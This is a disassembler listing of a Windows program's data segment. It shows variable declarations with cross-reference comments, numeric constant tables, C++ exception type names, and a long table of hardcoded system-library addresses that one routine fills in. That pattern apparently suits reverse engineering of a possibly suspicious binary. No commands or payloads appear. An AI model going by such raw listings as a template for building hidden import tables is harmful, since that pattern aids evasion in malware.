dword_4387BC	dd 0			; DATA XREF: sub_41E3C0:loc_41E4F4r
					; sub_41E56C+BFw
dword_4387C0	dd 0			; DATA XREF: sub_41E3C0+192r
					; sub_41E56C+E0w
		align 8
dword_4387C8	dd 0FFFFFFFFh		; DATA XREF: sub_41E162+17w
					; sub_41E3C0+26r ...
dword_4387CC	dd 0			; DATA XREF: sub_41E3C0+13Ar
					; sub_41E56C+EAw ...
dword_4387D0	dd 0			; DATA XREF: sub_41E3C0+1A1r
					; sub_41E56C+23r ...
dword_4387D4	dd 0FFFFFFFFh		; DATA XREF: sub_41E56C+84r
		dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_438804	dd 16Dh			; DATA XREF: sub_41B7EE+2Ar
					; sub_41E56C+2Er ...
dword_438808	dd 0FFFFFFFFh		; DATA XREF: sub_41E56C:loc_41E5F8r
		dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
dword_438840	dd 2 dup(0)		; DATA XREF: sub_41F71C+7o
		dd 4002A000h, 2	dup(0)
		dd 4005C800h, 2	dup(0)
		dd 4008FA00h, 2	dup(0)
		dd 400C9C40h, 2	dup(0)
; ---------------------------------------------------------------------------
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 400Fh
		dd 2 dup(0)
		dd 4012F424h, 0
		dd 80000000h, 40169896h, 0
		dd 20000000h, 4019BEBCh, 0
		dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
		dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
		dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
		dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh,	40D3C278h
		dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
		dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
		dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
		dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h,	0A0AEA60Eh
		dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
		dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
		dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h,	5D25D88Bh
		dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
		dd 52028A20h, 7525C460h, 0
dword_4389A0	dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
					; DATA XREF: sub_41F71C+1Bo
		dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h,	652CD3C3h
		dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h,	3FEEA7C5h
		dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h,	94D5E57Ah
		dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh,	0E15B4C2Fh
		dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
		dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h,	313BBABCh
		dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h,	8D2FEED7h
		dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
		dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
		dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
		dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh,	3B03A686h
		dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h,	0EE32DB23h
		dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h,	11B268E2h
		dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
		dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh,	0BF3C9157h
		dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h,	9FDE2DE4h
		dd 4C8D2CEh, 0AD8A6DDh,	0
off_438B00	dd offset off_421CB4	; DATA XREF: seg000:off_421CD8o
					; seg000:00421E04o ...
		align 8
a_?avexception@	db '.?AVexception@@',0
off_438B18	dd offset off_421CB4	; DATA XREF: seg000:off_421CF0o
					; seg000:00421D84o ...
		align 10h
a_?avlogic_erro	db '.?AVlogic_error@std@@',0
		align 4
off_438B38	dd offset off_421CB4	; DATA XREF: seg000:off_421D08o
					; seg000:00421D4Co ...
		align 10h
a_?avlength_err	db '.?AVlength_error@std@@',0
		align 4
off_438B58	dd offset off_421CB4	; DATA XREF: seg000:off_421D90o
					; seg000:00421DD4o ...
		align 10h
a_?avout_of_ran	db '.?AVout_of_range@std@@',0
		align 4
off_438B78	dd offset off_421CB4	; DATA XREF: seg000:off_421E10o
					; seg000:00421E4Co
		align 10h
a_?avtype_info@	db '.?AVtype_info@@',0
		dd offset sub_41DF02
		align 8
byte_438B98	db 0			; DATA XREF: sub_401447+1D3w
					; sub_401447+2D2o
		align 2
word_438B9A	dw 0			; DATA XREF: sub_401447+1E3w
word_438B9C	dw 0			; DATA XREF: sub_401447+1E9w
word_438B9E	dw 0			; DATA XREF: sub_401447+1F0w
byte_438BA0	db 0			; DATA XREF: sub_401447+1F7w
byte_438BA1	db 0			; DATA XREF: sub_401447+1FEw
word_438BA2	dw 0			; DATA XREF: sub_401447+204w
dword_438BA4	dd 0			; DATA XREF: sub_401447+234w
					; sub_401447+250w
dword_438BA8	dd 0			; DATA XREF: sub_401447+258w
byte_438BAC	db 0			; DATA XREF: sub_401447+26Aw
byte_438BAD	db 0			; DATA XREF: sub_401447+27Dw
word_438BAE	dw 0			; DATA XREF: sub_401447+295w
word_438BB0	dw 0			; DATA XREF: sub_401447+2A4w
word_438BB2	dw 0			; DATA XREF: sub_401447+29Cw
dword_438BB4	dd 101h	dup(0)		; DATA XREF: sub_401447+2B9o
dword_438FB8	dd 0			; DATA XREF: sub_402FDD+9Eo
byte_438FBC	db 0			; DATA XREF: sub_402FDD+36r
					; sub_4030C0+37r ...
		align 10h
dword_438FC0	dd 7A5h			; DATA XREF: sub_4036D4+10w
					; sub_4036EB+30r ...
		dd 2 dup(0)
dword_438FCC	dd 2 dup(0)		; DATA XREF: sub_404532+68o
dword_438FD4	dd 0			; DATA XREF: sub_403FD2+13o
					; sub_40CE55+5B71o ...
dword_438FD8	dd 0			; DATA XREF: sub_405A0C+2Aw
					; sub_405A0C+51r ...
dword_438FDC	dd 0			; DATA XREF: sub_4036EB+AEr
					; seg000:0040494Cr ...
		dd 2 dup(0)
dword_438FE8	dd 0			; DATA XREF: sub_4071FF+18r
					; sub_407652+92w ...
dword_438FEC	dd 0			; DATA XREF: sub_40778B+4Dr
					; sub_40799F+D9w ...
		dd 256h	dup(0)
dword_439948	dd 6 dup(0)		; DATA XREF: sub_40778B+CFo
					; sub_40778B+138o ...
dword_439960	dd 0			; DATA XREF: sub_407276+82w
					; sub_407276+102o
dword_439964	dd 41h dup(0)		; DATA XREF: sub_407276+41o
dword_439A68	dd 41h dup(0)		; DATA XREF: sub_407276+63o
dword_439B6C	dd 0			; DATA XREF: sub_407276+F8w
					; sub_407276+114r
dword_439B70	dd 0			; DATA XREF: sub_407276+52w
dword_439B74	dd 0			; DATA XREF: sub_407276+4Dw
					; sub_407276+CFr
dword_439B78	dd 20h dup(0)		; DATA XREF: sub_407276+9Ao
					; sub_407276+BAo
dword_439BF8	dd 0			; DATA XREF: sub_407276+8Fw
dword_439BFC	dd 0			; DATA XREF: sub_407276+A7w
					; sub_407276+C7w
dword_439C00	dd 0			; DATA XREF: sub_407276:loc_4073A0r
		align 8
dword_439C08	dd 0			; DATA XREF: sub_407276+2D5w
					; sub_407276+32Eo
dword_439C0C	dd 0A2h	dup(0)		; DATA XREF: sub_407276+2C3o
dword_439E94	dd 41h dup(0)		; DATA XREF: sub_407276+28Do
dword_439F98	dd 0			; DATA XREF: sub_407276+2BAw
					; sub_407276+2E1r
		align 10h
dword_439FA0	dd 0			; DATA XREF: sub_407276+324w
					; sub_407276+340r
dword_439FA4	dd 0			; DATA XREF: sub_407276+2E7w
dword_439FA8	dd 0			; DATA XREF: sub_407276+2F4w
dword_439FAC	dd 0			; DATA XREF: sub_407276+2B4w
		dd 0
dword_439FB4	dd 0			; DATA XREF: sub_407276:loc_4075CCr
dword_439FB8	dd 0			; DATA XREF: sub_407276+1A1w
					; sub_407276+221o
dword_439FBC	dd 41h dup(0)		; DATA XREF: sub_407276+163o
dword_43A0C0	dd 41h dup(0)		; DATA XREF: sub_407276+182o
dword_43A1C4	dd 0			; DATA XREF: sub_407276+217w
					; sub_407276+233r
dword_43A1C8	dd 0			; DATA XREF: sub_407276+171w
dword_43A1CC	dd 0			; DATA XREF: sub_407276+1EEr
dword_43A1D0	dd 20h dup(0)		; DATA XREF: sub_407276+1B9o
					; sub_407276+1D9o
dword_43A250	dd 0			; DATA XREF: sub_407276+1AEw
dword_43A254	dd 0			; DATA XREF: sub_407276+1C6w
					; sub_407276+1E6w
dword_43A258	dd 0			; DATA XREF: sub_407276:loc_4074C0r
		align 10h
dword_43A260	dd 77C72C6Bh		; DATA XREF: sub_4089F2+489w
					; sub_4089F2+4CDr
dword_43A264	dd 77EBA994h		; DATA XREF: sub_4089F2+65w
					; sub_413DD2+F5r
dword_43A268	dd 7622A3F4h		; DATA XREF: sub_4089F2+7EDw
					; sub_4089F2+862r ...
dword_43A26C	dd 71C45229h		; DATA XREF: sub_4089F2+9BAw
					; sub_4089F2+A18r ...
dword_43A270	dd 71C24870h		; DATA XREF: sub_4089F2+96Cw
					; sub_4089F2+9E8r ...
dword_43A274	dd 77C71BB0h		; DATA XREF: sub_4089F2+46Fw
					; sub_4089F2+4BDr
dword_43A278	dd 77D4808Bh		; DATA XREF: sub_4021FB+ECr
					; sub_4021FB+109r ...
dword_43A27C	dd 71C4502Ch		; DATA XREF: sub_4089F2+9ADw
					; sub_4089F2+A10r ...
dword_43A280	dd 77DE801Bh		; DATA XREF: sub_4089F2+354w
					; sub_4089F2+3A9r ...
dword_43A284	dd 77DDACABh		; DATA XREF: sub_4089F2+3F1w
					; sub_40AAD1+11Er
dword_43A288	dd 77DE8075h		; DATA XREF: sub_4089F2+361w
					; sub_4089F2+3B1r ...
dword_43A28C	dd 77DD7496h		; DATA XREF: sub_4089F2+3A2w
					; sub_4133C0+ADr
dword_43A290	dd 71AB1B7Bh		; DATA XREF: sub_405B23+115r
					; sub_4084D3+7Dr ...
dword_43A294	dd 77E686CCh		; DATA XREF: sub_4089F2+72w
					; sub_4089F2+D2r ...
dword_43A298	dd 71C2498Bh		; DATA XREF: sub_4089F2+95Fw
					; sub_4089F2+9DBr ...
dword_43A29C	dd 77DDAB2Fh		; DATA XREF: sub_4089F2+388w
					; sub_4089F2+3C9r ...
dword_43A2A0	dd 7620E8C3h		; DATA XREF: sub_4089F2+83Bw
					; sub_4089F2+88Er ...
dword_43A2A4	dd 77DD23D7h		; DATA XREF: sub_4085D3+58r
					; sub_4089F2+2A5w ...
dword_43A2A8	dd 76214750h		; DATA XREF: sub_4089F2+82Ew
					; sub_4089F2+886r ...
dword_43A2AC	dd 77E6D75Bh		; DATA XREF: sub_4089F2+B3w
dword_43A2B0	dd 7620BD61h		; DATA XREF: sub_4089F2+848w
					; sub_4089F2+896r ...
dword_43A2B4	dd 71AB60C9h		; DATA XREF: sub_407BFE+7Er
					; sub_4089F2+52Fw ...
dword_43A2B8	dd 77EBA6E9h		; DATA XREF: sub_4089F2+58w
					; sub_4089F2+CAr ...
dword_43A2BC	dd 76D62A58h		; DATA XREF: sub_4089F2+916w
					; sub_40A217+11Ar
dword_43A2C0	dd 76F36EAAh		; DATA XREF: sub_4089F2+A66w
					; sub_4089F2+A6Dr ...
dword_43A2C4	dd 77E802FCh		; DATA XREF: sub_4089F2+A6w
					; sub_4089F2+F2r
dword_43A2C8	dd 77C75455h		; DATA XREF: sub_4089F2+462w
					; sub_4089F2+4B5r
dword_43A2CC	dd 71AB12A7h		; DATA XREF: sub_40760A+20r
					; sub_4089F2+5D8w ...
dword_43A2D0	dd 71C574FAh		; DATA XREF: sub_4089F2+9A0w
					; sub_4089F2+A08r
dword_43A2D4	dd 71AB1746h		; DATA XREF: sub_4024DC+280r
					; sub_4089F2+5CBw ...
dword_43A2D8	dd 71B28D0Dh		; DATA XREF: sub_4030C0+9Ar
					; sub_4089F2+B21w
dword_43A2DC	dd 762211EFh		; DATA XREF: sub_4089F2+7E0w
					; sub_4089F2+84Fr ...
dword_43A2E0	dd 77D902E3h		; DATA XREF: sub_4089F2+1B3w
					; sub_409DF3+15r
dword_43A2E4	dd 71C2FA86h		; DATA XREF: sub_4089F2+979w
					; sub_4089F2+9F0r ...
dword_43A2E8	dd 77DE1291h		; DATA XREF: sub_4089F2+36Ew
					; sub_4089F2+3B9r ...
dword_43A2EC	dd 77E2C1B3h		; DATA XREF: sub_4089F2+37Bw
					; sub_4089F2+3C1r ...
dword_43A2F0	dd 73B81E3Bh		; DATA XREF: sub_4089F2+C56w
					; sub_4089F2+C5Dr
dword_43A2F4	dd 71ABF628h		; DATA XREF: sub_4089F2+68Ew
dword_43A2F8	dd 71AB1836h		; DATA XREF: sub_4010B2:loc_4013DDr
					; sub_4018CA:loc_401B70r ...
dword_43A2FC	dd 77C72889h		; DATA XREF: sub_4089F2+496w
dword_43A300	dd 71C453F8h		; DATA XREF: sub_4089F2+9C7w
					; sub_4089F2+A20r ...
dword_43A304	dd 77DD5C55h		; DATA XREF: sub_4089F2+2B2w
					; sub_4089F2+2DEr ...
dword_43A308	dd 77E96645h		; DATA XREF: sub_4089F2+7Fw
					; sub_4089F2+DAr ...
dword_43A30C	dd 77428B97h		; DATA XREF: sub_4089F2+B6Ew
					; sub_4089F2+B75r ...
dword_43A310	dd 71AB41DAh		; DATA XREF: sub_4010B2+2Fr
					; sub_4018CA+2Fr ...
dword_43A314	dd 762059A3h		; DATA XREF: sub_4089F2+807w
					; sub_4089F2+872r ...
dword_43A318	dd 71C4A1B4h		; DATA XREF: sub_4089F2+986w
					; sub_4089F2+9F8r
dword_43A31C	dd 1F7CD214h		; DATA XREF: sub_404F08+5Ar
					; sub_404F08+8Cr ...
dword_43A320	dd 77D4456Bh		; DATA XREF: sub_4021FB+40r
					; sub_4021FB+63r ...
dword_43A324	dd 76D629BBh		; DATA XREF: sub_4089F2+8FCw
					; sub_4089F2+910r ...
dword_43A328	dd 1F7B9D96h		; DATA XREF: sub_4089F2+BF9w
dword_43A32C	dd 71AB1740h		; DATA XREF: sub_4010B2:loc_4013A7r
					; sub_401447+3Cr ...
dword_43A330	dd 7620AFB6h		; DATA XREF: sub_4089F2+821w
					; sub_4089F2+855r
dword_43A334	dd 77D5C13Ah		; DATA XREF: sub_4021FB+50r
					; sub_4021FB+78r ...
dword_43A338	dd 77D45B19h		; DATA XREF: sub_4089F2+172w
					; sub_4089F2+1C2r
dword_43A33C	dd 71AB157Eh		; DATA XREF: sub_4089F2+65Aw
					; sub_4089F2+786r ...
dword_43A340	dd 71AB3E5Dh		; DATA XREF: sub_4033CB+20Ar
					; sub_4036EB+5Er ...
dword_43A344	dd 71AB14DCh		; DATA XREF: sub_4024DC+16Er
					; sub_4089F2+549w ...
dword_43A348	dd 0CC0004h		; DATA XREF: sub_4089F2+8BDw
					; sub_4089F2:loc_4092CDw ...
dword_43A34C	dd 77DD590Bh		; DATA XREF: sub_4089F2+28Bw
					; sub_4089F2+2C6r ...
dword_43A350	dd 71ABD755h		; DATA XREF: sub_407D86+98r
					; sub_4089F2+681w ...
dword_43A354	dd 77DF7311h		; DATA XREF: sub_4089F2+30Fw
					; sub_4089F2+323r ...
dword_43A358	dd 77DDA2AFh		; DATA XREF: sub_4089F2+395w
					; sub_4089F2+3D1r ...
dword_43A35C	dd 1F7CD927h		; DATA XREF: sub_404F08+192r
					; sub_404F08+1C6r ...
dword_43A360	dd 76206853h		; DATA XREF: sub_4089F2+7FAw
					; sub_4089F2+86Ar ...
dword_43A364	dd 77D4932Ch		; DATA XREF: sub_4021FB+FCr
					; sub_4089F2+206w ...
dword_43A368	dd 77D5E310h		; DATA XREF: sub_4089F2+18Cw
					; sub_4089F2+1D2r ...
dword_43A36C	dd 76206B7Fh		; DATA XREF: sub_4089F2+814w
					; sub_4089F2+87Ar ...
dword_43A370	dd 71AB1444h		; DATA XREF: sub_406C3E+244r
					; sub_4089F2+606w ...
dword_43A374	dd 77DD189Ah		; DATA XREF: sub_4085D3+19Br
					; sub_4089F2+2BFw ...
dword_43A378	dd 71AB3F8Dh		; DATA XREF: sub_4010B2+6Fr
					; sub_401447+AAr ...
dword_43A37C	dd 77DD5D20h		; DATA XREF: sub_4089F2+302w
					; sub_4089F2+316r ...
dword_43A380	dd 71AB1890h		; DATA XREF: sub_405B23+F9r
					; sub_406C3E+1FCr ...
dword_43A384	dd 77C76B34h		; DATA XREF: sub_4089F2+42Ew
					; sub_4089F2+490r
dword_43A388	dd 77D5E38Ch		; DATA XREF: sub_4089F2+199w
					; sub_4089F2+1DAr ...
dword_43A38C	dd 77DDA20Bh		; DATA XREF: sub_4089F2+347w
					; sub_4089F2+39Cr ...
dword_43A390	dd 76F36EEBh		; DATA XREF: sub_4089F2+A73w
dword_43A394	dd 71AB12A7h		; DATA XREF: sub_4010B2+EBr
					; sub_4010B2+1F9r ...
dword_43A398	dd 71AB1746h		; DATA XREF: sub_4010B2+87r
					; sub_4010B2+9Dr ...
dword_43A39C	dd 77EBA595h		; DATA XREF: sub_4089F2+4Bw
					; sub_4089F2+C2r ...
dword_43A3A0	dd 77C7531Dh		; DATA XREF: sub_4089F2+455w
					; sub_4089F2+4ADr
dword_43A3A4	dd 77D4BDCAh		; DATA XREF: sub_4089F2+165w
					; sub_4089F2+1BAr ...
dword_43A3A8	dd 71C3516Ah		; DATA XREF: sub_4089F2+9E1w
					; sub_413CA9+72r
dword_43A3AC	dd 71AB32CAh		; DATA XREF: sub_4089F2+667w
					; sub_4089F2+78Er
dword_43A3B0	dd 71AB5690h		; DATA XREF: sub_4024DC+205r
					; sub_4033CB+23Br ...
dword_43A3B4	dd 1F7CB8F8h		; DATA XREF: sub_404F08+1D9r
					; sub_404F08+245r ...
dword_43A3B8	dd 77EBB1E7h		; DATA XREF: sub_4089F2+3Ew
					; sub_4089F2+BAr ...
dword_43A3BC	dd 77DD59F0h		; DATA XREF: sub_4089F2+298w
					; sub_4089F2+2CEr ...
dword_43A3C0	dd 71AB5DE2h		; DATA XREF: sub_405B23+9Er
					; sub_407BFE+9Cr ...
dword_43A3C4	dd 71AB3ECEh		; DATA XREF: sub_4024DC+EBr
					; sub_405B23+89r ...
dword_43A3C8	dd 73B81B0Fh		; DATA XREF: sub_4089F2+C63w
dword_43A3CC	dd 76204E4Dh		; DATA XREF: sub_4089F2+85Bw
					; sub_40AE4B+205r ...
dword_43A3D0	dd 0			; DATA XREF: sub_4089F2+112w
dword_43A3D4	dd 1F7D886Ah		; DATA XREF: sub_404F08+11Er
					; sub_4089F2+BB8w ...
dword_43A3D8	dd 71AB12F8h		; DATA XREF: sub_401447+119r
					; sub_401447+1A0r ...
dword_43A3DC	dd 77C76551h		; DATA XREF: sub_4089F2+43Bw
					; sub_4089F2+49Dr
dword_43A3E0	dd 77C729E2h		; DATA XREF: sub_4089F2+47Cw
					; sub_4089F2+4C5r
dword_43A3E4	dd 77C7212Fh		; DATA XREF: sub_4089F2+448w
					; sub_4089F2+4A5r
dword_43A3E8	dd 71AB1AF4h		; DATA XREF: sub_4033CB+221r
					; sub_4033CB+249r ...
dword_43A3EC	dd 77D5E303h		; DATA XREF: sub_4089F2+1A6w
					; sub_4089F2+1E2r ...
dword_43A3F0	dd 71C4576Ch		; DATA XREF: sub_4089F2+9D4w
					; sub_4089F2+A28r ...
dword_43A3F4	dd 77D4702Fh		; DATA XREF: sub_4089F2+158w
					; sub_4089F2+1ADr ...
dword_43A3F8	dd 77E6C0E3h		; DATA XREF: sub_4089F2+8Cw
					; sub_4089F2+E2r ...
dword_43A3FC	dd 71AB1ED3h		; DATA XREF: sub_4010B2+2C2r
					; sub_401447+2DAr ...
dword_43A400	dd 71B2A381h		; DATA XREF: sub_4089F2+B14w
					; sub_4089F2+B30r
dword_43A404	dd 77DDA595h		; DATA XREF: sub_4089F2+31Cw
					; sub_413D67+55r
dword_43A408	dd 77DD22EAh		; DATA XREF: sub_4085D3+3Fr
					; sub_4089F2+27Ew ...
dword_43A40C	dd 773F97B0h		; DATA XREF: sub_4089F2+B7Bw
dword_43A410	dd 76D67A29h		; DATA XREF: sub_4089F2+ABDw
					; sub_40A093+CEr
dword_43A414	dd 76D674FAh		; DATA XREF: sub_4089F2+AB0w
					; sub_4089F2+AB7r ...
dword_43A418	dd 71AB3C22h		; DATA XREF: sub_401447+2Er
					; sub_401BD6+55r ...
dword_43A41C	dd 71AB2BBFh		; DATA XREF: sub_407D86+88r
					; sub_4089F2+674w ...
dword_43A420	dd 1F7BA3A9h		; DATA XREF: sub_404F08+71r
					; sub_4089F2+BC5w ...
dword_43A424	dd 71AB401Ch		; DATA XREF: sub_4024DC+28Dr
					; sub_406C3E+250r ...
dword_43A428	dd 71C214BAh		; DATA XREF: sub_4089F2+993w
					; sub_4089F2+A00r ...
dword_43A42C	dd 71AB868Dh		; DATA XREF: sub_405B23+13Ar
					; sub_407BFE+B3r ...
dword_43A430	dd 71AB1A6Dh		; DATA XREF: sub_4010B2+324r
					; sub_401447+2F0r ...
dword_43A434	dd 71AB155Ah		; DATA XREF: sub_405B23+B7r
					; sub_405B23+39Fr ...
dword_43A438	dd 71B22C25h		; DATA XREF: sub_402FDD+B0r
					; sub_402FDD+C8r ...
dword_43A43C	dd 71AB5A01h		; DATA XREF: sub_4010B2+4Fr
					; sub_4018CA+4Fr ...
dword_43A440	dd 71B2ACCBh		; DATA XREF: sub_4089F2+AFAw
					; sub_4089F2+B1Br
dword_43A444	dd 77E78C17h		; DATA XREF: sub_4089F2+31w
					; sub_4089F2+ADr ...
dword_43A448	dd 77D49A11h		; DATA XREF: sub_4089F2+17Fw
					; sub_4089F2+1CAr
		align 10h
dword_43A450	dd 76D62A37h		; DATA XREF: sub_4089F2+909w
					; sub_4089F2+91Dr ...
dword_43A454	dd 77E6CBF9h		; DATA XREF: sub_4089F2+99w
					; sub_4089F2+EAr ...
dword_43A458	dd 0			; DATA XREF: sub_4089F2:loc_408AF0w
					; sub_4089F2+12Bw ...
dword_43A45C	dd 0			; DATA XREF: sub_4089F2+126w
					; sub_40967F+1Cr
dword_43A460	dd 0			; DATA XREF: sub_4089F2:loc_408BE0w
					; sub_4089F2:loc_408C47w ...
dword_43A464	dd 0			; DATA XREF: sub_4089F2+250w
					; sub_40967F+50r
dword_43A468	dd 0			; DATA XREF: sub_4089F2:loc_408CDCw
					; sub_4089F2:loc_408D21w ...
dword_43A46C	dd 0			; DATA XREF: sub_4089F2+400w
					; sub_40967F+84r
dword_43A470	dd 0			; DATA XREF: sub_4089F2:loc_408ED8w
					; sub_40967F:loc_40972Fr
dword_43A474	dd 0			; DATA XREF: sub_4089F2+4E1w
					; sub_40967F+B8r
dword_43A478	dd 0			; DATA XREF: sub_4089F2:loc_4091A9w
					; sub_40967F:loc_409763r
dword_43A47C	dd 0			; DATA XREF: sub_4089F2+7B2w
					; sub_40967F+ECr
dword_43A480	dd 0			; DATA XREF: sub_4089F2:loc_409294w
					; sub_4089F2+8D1w ...
dword_43A484	dd 0			; DATA XREF: sub_4089F2+8CCw
					; sub_40967F+120r
dword_43A488	dd 0			; DATA XREF: sub_4089F2:loc_409328w
					; sub_40967F:loc_4097CBr ...
dword_43A48C	dd 0			; DATA XREF: sub_4089F2+931w
					; sub_40967F+154r
dword_43A490	dd 0			; DATA XREF: sub_4089F2:loc_409433w
					; sub_40967F:loc_4097FFr ...
dword_43A494	dd 0			; DATA XREF: sub_4089F2+A3Cw
					; sub_40967F+188r
dword_43A498	dd 0			; DATA XREF: sub_4089F2:loc_40947Dw
					; sub_40967F:loc_409833r
dword_43A49C	dd 0			; DATA XREF: sub_4089F2+A86w
					; sub_40967F+1BCr
dword_43A4A0	dd 0			; DATA XREF: sub_4089F2:loc_4094C7w
					; sub_40967F:loc_409867r
dword_43A4A4	dd 0			; DATA XREF: sub_4089F2+AD0w
					; sub_40967F+1F0r
dword_43A4A8	dd 0			; DATA XREF: sub_4089F2:loc_40953Bw
					; sub_40967F:loc_40989Br
dword_43A4AC	dd 0			; DATA XREF: sub_4089F2+B44w
					; sub_40967F+224r
dword_43A4B0	dd 0			; DATA XREF: sub_4089F2:loc_409585w
					; sub_40967F:loc_4098CFr
dword_43A4B4	dd 0			; DATA XREF: sub_4089F2+B8Ew
					; sub_40967F+258r
dword_43A4B8	dd 0			; DATA XREF: sub_4089F2:loc_409623w
					; sub_40967F:loc_409903r
dword_43A4BC	dd 0			; DATA XREF: sub_4089F2+C2Cw
					; sub_40967F+28Cr
dword_43A4C0	dd 0			; DATA XREF: sub_4089F2:loc_40966Dw
					; sub_40967F:loc_409937r
dword_43A4C4	dd 0			; DATA XREF: sub_4089F2+C76w
					; sub_40967F+2C0r
dword_43A4C8	dd 81h dup(0)		; DATA XREF: sub_409C08+6Ao
dword_43A6CC	dd 5 dup(0)		; DATA XREF: sub_40A171+32o
dword_43A6E0	dd 0			; DATA XREF: sub_40A5B9:loc_40A5DAr
					; sub_40A6A8+54r ...
dword_43A6E4	dd 0			; DATA XREF: sub_40A5B9r
					; sub_40A6A8+37r ...
dword_43A6E8	dd 0			; DATA XREF: sub_40A5E9+1Ar
					; sub_40A7FD+83o
dword_43A6EC	dd 0			; DATA XREF: sub_40A5B9:loc_40A5CDr
					; sub_40A7FD+11Bw
dword_43A6F0	dd 0Dh dup(0)		; DATA XREF: sub_40A6A8+13o
					; sub_40A7FD:loc_40A93Ao
dword_43A724	dd 0			; DATA XREF: sub_40A6A8+CDr
					; sub_40A6A8+ECr ...
		dd 0
dword_43A72C	dd 0Eh dup(0)		; DATA XREF: sub_40A9B2+47o
dword_43A764	dd 1000h dup(0)		; DATA XREF: sub_40B16D+1Do
					; sub_40B20Do ...
dword_43E764	dd 0			; DATA XREF: sub_40B16D+13o
					; sub_40B20D+Eo ...
dword_43E768	dd 0Eh dup(0)		; DATA XREF: sub_40C218+Fo
dword_43E7A0	dd 2 dup(0)		; DATA XREF: sub_40C59A+C8o
dword_43E7A8	dd 0			; DATA XREF: sub_40B075+Ao
					; sub_40B075+44r ...
		dd 5 dup(0)
dword_43E7C0	dd 0			; DATA XREF: sub_40B075+60r
					; sub_40CE55+BC8r
		dd 2D9h	dup(0)
dword_43F328	dd 0			; DATA XREF: sub_40778B+A5r
					; sub_40B075+2Do ...
		dd 7Fh dup(0)
dword_43F528	dd 0			; DATA XREF: sub_414F93+41w
					; sub_4150CE+40w ...
dword_43F52C	dd 0			; DATA XREF: sub_406100+234w
					; sub_40778B:loc_4077D2r ...
dword_43F530	dd 0			; DATA XREF: sub_40A7FD+164w
					; sub_414F93+52w ...
dword_43F534	dd 0			; DATA XREF: sub_4024DC+E0w
					; sub_405B23+7Ew ...
dword_43F538	dd 0			; DATA XREF: sub_407D86+11Ew
					; sub_407F6D+53r ...
dword_43F53C	dd 0			; DATA XREF: sub_406100+261w
					; sub_407276+122w ...
byte_43F540	db 0			; DATA XREF: sub_40CB75+91o
					; sub_40CE55+322Br ...
		align 4
		dd 1883h dup(0)
dword_445750	dd 8C32h dup(0)		; DATA XREF: seg000:off_426918o
dword_468818	dd 1Ch			; DATA XREF: sub_407135:loc_4071A3r
					; sub_40C682+47w ...
		align 10h
dword_468820	dd 0			; DATA XREF: sub_40C682:loc_40CA87o
dword_468824	dd 20h dup(0)		; DATA XREF: sub_40C682+39Do
					; sub_40C682+456o ...
dword_4688A4	dd 10h dup(0)		; DATA XREF: sub_40C682+3B4o
					; sub_40CE55+91Do
dword_4688E4	dd 24h dup(0)		; DATA XREF: sub_40C682+3CBo
dword_468974	dd 0			; DATA XREF: sub_40C682+3BFw
					; sub_40C682+46Dw ...
dword_468978	dd 0			; DATA XREF: sub_40C682+3DEw
		dd 3 dup(0)
dword_468988	dd 0			; DATA XREF: sub_40C682+147r
dword_46898C	dd 0			; DATA XREF: sub_40CB75+72r
					; sub_40CE55+276r
byte_468990	db 0			; DATA XREF: sub_40CCDD+28r
					; sub_40CCDD+30o
		align 4
dword_468994	dd 0			; DATA XREF: sub_40283D+9Fo
dword_468998	dd 0			; DATA XREF: sub_40C682+40Aw
					; sub_40C682+421r ...
dword_46899C	dd 0			; DATA XREF: sub_40C682+3A2w
					; sub_40CE55+8C1r
dword_4689A0	dd 17h dup(0)		; DATA XREF: sub_412F10:loc_41302Do
					; sub_412F10+131o ...
dword_4689FC	dd 7 dup(0)		; DATA XREF: sub_413CA9+7Co
					; sub_413CA9+A5o
dword_468A18	dd 0			; DATA XREF: sub_4151DB+16o
					; sub_4151FA+19o
dword_468A1C	dd 78h dup(0)		; DATA XREF: sub_41518E+3Do
dword_468BFC	dd 0			; DATA XREF: sub_41328A+45w
					; sub_41328A+4Dr ...
dword_468C00	dd 17h dup(0)		; DATA XREF: sub_413B75:loc_413C97o
					; sub_413B75+12Do
